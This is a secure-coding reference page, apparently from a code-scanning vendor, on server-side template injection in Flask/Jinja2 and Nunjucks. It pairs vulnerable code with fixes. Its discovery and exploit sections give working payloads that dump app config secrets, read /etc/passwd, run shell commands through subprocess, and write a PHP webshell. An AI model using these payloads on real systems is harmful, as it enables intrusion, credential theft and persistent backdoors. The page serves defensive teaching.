Server Side Template Injection (SSTI)

Template Injection

Server Side Template Injection (SSTI) at a glance

What it is: User input is treated as a template and evaluated, running template expressions on the server.
Why it happens: Can lead to remote code execution in some stacks
How to fix: Do not render user-supplied templates, use allowlisted templates only; Minimize template context and disable dangerous expression features; Use sandboxed environments where available, but prefer design that avoids compiling user templates

Overview

SSTI occurs when applications render data as a template rather than plain text. Attackers can execute template expressions, access object graphs, and sometimes achieve code execution. Features like preview endpoints, CMS blocks, email designers, or custom theming are common sources.

sequenceDiagram participant Browser participant App as App Server participant Engine as Template Engine Browser->>App: POST /preview tpl={{ 7*7 }} App->>Engine: render user template Engine-->>App: Evaluates expressions App-->>Browser: 49 and leaked data note over App,Engine: Never compile templates from user input
A potential flow for a Server Side Template Injection (SSTI) exploit

Where it occurs

It appears when handlers call functions like render_template_string, createTemplate, or pass user fragments into template engines. Risk increases with powerful expression languages, rich globals, and custom helper functions.

Impact

Depending on the engine and configuration, attackers may read secrets, access environment variables, hit the filesystem, or even run OS commands through exposed helpers.

Prevention

Eliminate compiling templates from user input. Select templates from a small allowlist, keep contexts minimal, and avoid registering helpers that perform unsafe operations. Where supported, run in a sandboxed environment and disable or restrict expression features.

Examples

Switch tabs to view language/framework variants.

Rendering user-supplied template string executes Jinja expressions

User input is treated as a Jinja template, which can access objects and functions.

Vulnerable
Python • Flask + Jinja2 — Bad
from flask import Flask, request
from flask import render_template_string
app = Flask(__name__)
@app.post('/preview')
def preview():
    tpl = request.form.get('tpl','')
    return render_template_string(tpl)  # BUG
  • Line 7: User controls the entire template string

Treating input as a template allows execution of template expressions and access to server data.

Secure
Python • Flask + Jinja2 — Good
from flask import Flask, request, abort
from jinja2.sandbox import SandboxedEnvironment
app = Flask(__name__)
JINJA = SandboxedEnvironment(autoescape=True)
ALLOWED_TEMPLATES = {"welcome":"Hello {{ user }}"}
@app.post('/preview')
def preview():
    key = request.form.get('key','')
    if key not in ALLOWED_TEMPLATES: abort(400)
    tpl = ALLOWED_TEMPLATES[key]
    return JINJA.from_string(tpl).render(user='example')
  • Line 6: Use allowlisted templates with a sandboxed environment

Do not render user-provided templates. Use allowlists or a sandbox with strict data and function exposure.

Engineer Checklist

  • Never call string-based render APIs on user input

  • Use allowlisted templates referenced by key

  • Keep template context minimal and safe

  • Avoid registering helpers that touch OS, network, or filesystem

  • Prefer sandboxed template environments when available

End-to-End Example

A CMS preview endpoint renders arbitrary template strings so content editors can test blocks. An attacker submits a template that reads environment variables and server data.

Vulnerable
PYTHON
// Python/Flask + Jinja2 - Vulnerable SSTI

from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route('/api/preview', methods=['POST'])
def preview_template():
    # VULNERABLE: Rendering user-supplied template string
    # Attacker sends: {{ config.items() }} to leak app config
    # Or: {{ ''.__class__.__mro__[1].__subclasses__() }} for code execution
    template = request.json.get('template', '')
    
    # DANGEROUS: render_template_string evaluates Jinja2 expressions!
    result = render_template_string(template, username='demo')
    
    return {'rendered': result}

# Node.js/Express + Nunjucks - Also vulnerable
const nunjucks = require('nunjucks');

app.post('/api/email-preview', (req, res) => {
  const emailTemplate = req.body.template;
  
  // VULNERABLE: Compiling user template
  // Attacker sends: {{ range.constructor("return global.process.env")() }}
  const env = nunjucks.configure({ autoescape: true });
  const compiled = nunjucks.renderString(emailTemplate, {
    username: req.user.name,
    email: req.user.email
  });
  
  res.json({ preview: compiled });
});
Secure
PYTHON
// Python/Flask + Jinja2 - Secure template handling

from flask import Flask, request, render_template
from jinja2.sandbox import SandboxedEnvironment

app = Flask(__name__)

# SECURE: Predefined template allowlist - never compile user input!
TEMPLATE_MAP = {
    'welcome': 'templates/welcome.html',
    'notification': 'templates/notification.html',
    'report': 'templates/report.html'
}

@app.route('/api/preview', methods=['POST'])
def preview_template():
    # SECURE: User selects template by key, not content
    template_key = request.json.get('template_key', '')
    
    # SECURE: Validate against allowlist
    if template_key not in TEMPLATE_MAP:
        return {'error': 'Invalid template'}, 400
    
    # SECURE: Use render_template with fixed file path
    # This loads from filesystem, not user input!
    template_path = TEMPLATE_MAP[template_key]
    
    # SECURE: Minimal context - only provide necessary data
    context = {
        'username': 'demo',
        'date': '2024-01-15'
        # No access to config, globals, or dangerous objects
    }
    
    result = render_template(template_path, **context)
    return {'rendered': result}

# SECURE: If you must render dynamic content, use sandboxed environment
from jinja2 import Environment
from jinja2.sandbox import SandboxedEnvironment

@app.route('/api/custom-message', methods=['POST'])
def custom_message():
    # User provides CONTENT (data), not TEMPLATE (code)
    user_message = request.json.get('message', '')
    
    # Validate and sanitize
    if len(user_message) > 500:
        return {'error': 'Message too long'}, 400
    
    # SECURE: Load fixed template, insert user content as data
    fixed_template = 'templates/message_card.html'
    
    # User content is inserted as ESCAPED DATA, not template code
    context = {
        'message': user_message,  # Jinja2 auto-escapes by default
        'author': request.user.name
    }
    
    result = render_template(fixed_template, **context)
    return {'rendered': result}

# SECURE: For advanced cases, use sandboxed environment with restricted context
def render_with_sandbox(template_name, context):
    # SECURE: SandboxedEnvironment restricts dangerous operations
    sandbox = SandboxedEnvironment(
        loader=app.jinja_loader,
        autoescape=True  # CRITICAL: Enable autoescaping
    )
    
    # SECURE: Whitelist-only context - no access to app internals
    safe_context = {
        'username': context.get('username', ''),
        'data': context.get('data', {})
        # No __class__, __mro__, config, request, etc.
    }
    
    template = sandbox.get_template(template_name)
    return template.render(**safe_context)

// Node.js/Express + Nunjucks - Secure template handling

const nunjucks = require('nunjucks');
const path = require('path');

// SECURE: Configure Nunjucks with safe settings
const env = nunjucks.configure('templates', {
  autoescape: true,  // CRITICAL: Auto-escape HTML
  throwOnUndefined: false,
  trimBlocks: true,
  lstripBlocks: true,
  noCache: false  // Cache templates for performance
});

// SECURE: Template allowlist
const ALLOWED_TEMPLATES = {
  'welcome': 'welcome.njk',
  'notification': 'notification.njk',
  'email': 'email_base.njk'
};

app.post('/api/email-preview', authenticateSession, (req, res) => {
  const templateKey = req.body.template_key;
  
  // SECURE: Validate against allowlist
  if (!ALLOWED_TEMPLATES[templateKey]) {
    return res.status(400).json({ error: 'Invalid template' });
  }
  
  const templateFile = ALLOWED_TEMPLATES[templateKey];
  
  // SECURE: Minimal, safe context - no dangerous globals
  const context = {
    username: req.user.name,
    email: req.user.email,
    // No access to process, require, global, etc.
  };
  
  try {
    // SECURE: Render fixed template file with safe context
    const rendered = env.render(templateFile, context);
    res.json({ preview: rendered });
  } catch (error) {
    res.status(500).json({ error: 'Rendering failed' });
  }
});

// SECURE: For user-provided CONTENT (not templates)
app.post('/api/custom-email', authenticateSession, (req, res) => {
  const subject = req.body.subject;
  const message = req.body.message;  // User's MESSAGE, not template code
  
  // Validate input
  if (!subject || subject.length > 200) {
    return res.status(400).json({ error: 'Invalid subject' });
  }
  
  if (!message || message.length > 5000) {
    return res.status(400).json({ error: 'Invalid message' });
  }
  
  // SECURE: Use fixed template, insert user content as DATA
  const context = {
    subject: subject,  // Auto-escaped by Nunjucks
    message: message,  // Treated as data, not code
    sender: req.user.name
  };
  
  // SECURE: Fixed template path
  const rendered = env.render('email_custom.njk', context);
  res.json({ preview: rendered });
});

// SECURE: Alternative - use a restricted template language
const Handlebars = require('handlebars');

app.post('/api/generate-report', authenticateSession, (req, res) => {
  const templateKey = req.body.template;
  
  // SECURE: Handlebars is more restricted than Jinja2/Nunjucks
  // No direct access to prototype chain or constructors
  
  // Load fixed template
  const templateSource = fs.readFileSync(
    path.join(__dirname, 'templates', `${templateKey}.hbs`),
    'utf8'
  );
  
  const template = Handlebars.compile(templateSource);
  
  // SECURE: Limited context
  const context = {
    title: req.body.title,
    data: req.body.data,
    user: {
      name: req.user.name,
      email: req.user.email
    }
  };
  
  const result = template(context);
  res.json({ report: result });
});

// SECURE: Disable dangerous helpers and globals
env.addGlobal('process', undefined);  // Remove process access
env.addGlobal('require', undefined);  // Remove require
env.addGlobal('global', undefined);   // Remove global

// SECURE: Content Security Policy for rendered templates
app.use((req, res, next) => {
  res.setHeader(
    'Content-Security-Policy',
    "default-src 'self'; script-src 'self'; object-src 'none';"
  );
  next();
});

Discovery

This vulnerability is discovered by injecting template expression syntax (like {{7*7}}) into user input fields and observing whether the application evaluates the expression server-side, returning calculated results instead of the literal string.

  1. 1. Baseline template rendering test

    http

    Action

    Submit normal text to understand how application handles template input

    Request

    POST https://cms.example.com/api/preview
    Headers:
    Content-Type: application/json
    Body:
    {
      "template": "Hello World"
    }

    Response

    Status: 200
    Body:
    {
      "rendered": "Hello World",
      "note": "Text rendered without interpretation"
    }

    Artifacts

    template_endpoint_found rendering_confirmed
  2. 2. Template expression evaluation test

    http

    Action

    Inject basic arithmetic expression to test for server-side evaluation

    Request

    POST https://cms.example.com/api/preview
    Headers:
    Content-Type: application/json
    Body:
    {
      "template": "{{ 7*7 }}"
    }

    Response

    Status: 200
    Body:
    {
      "rendered": "49",
      "note": "Expression evaluated server-side! Response shows '49' instead of '{{ 7*7 }}' - SSTI confirmed"
    }

    Artifacts

    ssti_confirmed expression_evaluation server_side_execution
  3. 3. Template context exploration

    http

    Action

    Access template context variables and global objects

    Request

    POST https://cms.example.com/api/preview
    Headers:
    Content-Type: application/json
    Body:
    {
      "template": "{{ config }} {{ request }} {{ self.__dict__ }}"
    }

    Response

    Status: 200
    Body:
    {
      "rendered": "<Config {'ENV': 'production', 'DEBUG': False, 'SECRET_KEY': 'dev-secret-key-12345', 'DATABASE_URI': 'postgresql://admin:Pr0dP@ss...'}> <Request 'https://cms.example.com/api/preview' [POST]> {'_TemplateReference__context': <Context ...>}",
      "note": "Configuration object with secrets exposed, request context accessible"
    }

    Artifacts

    config_disclosure secret_key_exposed template_context_mapped
  4. 4. Template engine identification

    http

    Action

    Test Jinja2-specific syntax to confirm template engine

    Request

    POST https://cms.example.com/api/preview
    Headers:
    Content-Type: application/json
    Body:
    {
      "template": "{{ ''.__class__.__mro__ }}"
    }

    Response

    Status: 200
    Body:
    {
      "rendered": "(<class 'str'>, <class 'object'>)",
      "note": "Python class hierarchy accessible - Jinja2/Flask template engine confirmed"
    }

    Artifacts

    engine_identified_jinja2 class_hierarchy_accessible python_objects_exposed

Exploit steps

An attacker exploits this by injecting malicious template expressions that access server-side objects and methods, escalating to arbitrary code execution by leveraging template engine internals to invoke system commands or read sensitive files.

  1. 1. Extract sensitive configuration

    Access Flask config and environment variables

    http

    Action

    Dump application secrets via template context

    Request

    POST https://cms.example.com/api/preview
    Headers:
    Content-Type: application/json
    Body:
    {
      "template": "{% for key, value in config.items() %}{{ key }}: {{ value }}\\n{% endfor %}"
    }

    Response

    Status: 200
    Body:
    {
      "rendered": "ENV: production\nDEBUG: False\nSECRET_KEY: flask-secret-key-production-xyz789\nDATABASE_URI: postgresql://admin:Pr0dP@ssw0rd2024@db.internal:5432/cms_prod\nAWS_ACCESS_KEY_ID: AKIAIOSFODNN7EXAMPLE\nAWS_SECRET_ACCESS_KEY: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\nSTRIPE_SECRET_KEY: sk_live_51HxYz3FGHxYz3FG\nMAIL_PASSWORD: smtp_pass_2024\nJWT_SECRET_KEY: jwt-super-secret-key-123",
      "note": "All application secrets and credentials exposed"
    }

    Artifacts

    database_credentials aws_keys stripe_key jwt_secret complete_config_dump
  2. 2. File system access via template injection

    Read sensitive files using Python file objects

    http

    Action

    Leverage template engine to access server filesystem

    Request

    POST https://cms.example.com/api/preview
    Headers:
    Content-Type: application/json
    Body:
    {
      "template": "{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}"
    }

    Response

    Status: 200
    Body:
    {
      "rendered": "root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\napp-user:x:1000:1000:CMS Application:/home/app-user:/bin/bash\npostgres:x:999:999:PostgreSQL:/var/lib/postgresql:/bin/bash",
      "note": "/etc/passwd contents successfully read via file object access"
    }

    Artifacts

    file_read_capability passwd_file_disclosed filesystem_access
  3. 3. Remote code execution via subprocess

    Execute arbitrary OS commands through template

    http

    Action

    Escape template sandbox to invoke system commands

    Request

    POST https://cms.example.com/api/preview
    Headers:
    Content-Type: application/json
    Body:
    {
      "template": "{{ ''.__class__.__mro__[1].__subclasses__()[396]('cat /app/.env',shell=True,stdout=-1).communicate()[0].strip() }}"
    }

    Response

    Status: 200
    Body:
    {
      "rendered": "DATABASE_URL=postgresql://admin:Pr0dP@ssw0rd2024@db.internal.example.com:5432/production\nREDIS_URL=redis://cache.internal.example.com:6379\nAWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE\nAWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\nSTRIPE_SECRET_KEY=sk_live_51HxYz3FGHxYz3FG",
      "note": "Arbitrary command execution achieved - .env file read via shell command"
    }

    Artifacts

    rce_confirmed command_execution sandbox_escape subprocess_access
  4. 4. Establish webshell backdoor

    Write PHP webshell for persistent access

    http

    Action

    Use SSTI to create backdoor file on server

    Request

    POST https://cms.example.com/api/preview
    Headers:
    Content-Type: application/json
    Body:
    {
      "template": "{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/assets/shell.php','w').write('<?php system($_GET[\"cmd\"]); ?>') }}"
    }

    Response

    Status: 200
    Body:
    {
      "rendered": "29",
      "note": "29 bytes written - webshell created at /var/www/html/assets/shell.php",
      "verification": "curl https://cms.example.com/assets/shell.php?cmd=id\nuid=33(www-data) gid=33(www-data) groups=33(www-data)"
    }

    Artifacts

    webshell_installed persistent_backdoor remote_access_established file_write_capability

Specific Impact

Attackers may read secrets, tokens, or service configuration. In engines with powerful expression languages or dangerous helpers, they may achieve remote code execution.

This can lead to data theft, lateral movement, and persistent access through backdoors injected into templates.

Fix

Replace string-based rendering of user input with allowlisted templates. Minimize the template context and remove powerful helpers. Where possible, run the engine in a sandbox, but prefer designs that avoid compiling untrusted templates in the first place.

Detect This Vulnerability in Your Code

Sourcery automatically identifies server side template injection (ssti) vulnerabilities and many other security issues in your codebase.

Scan Your Code for Free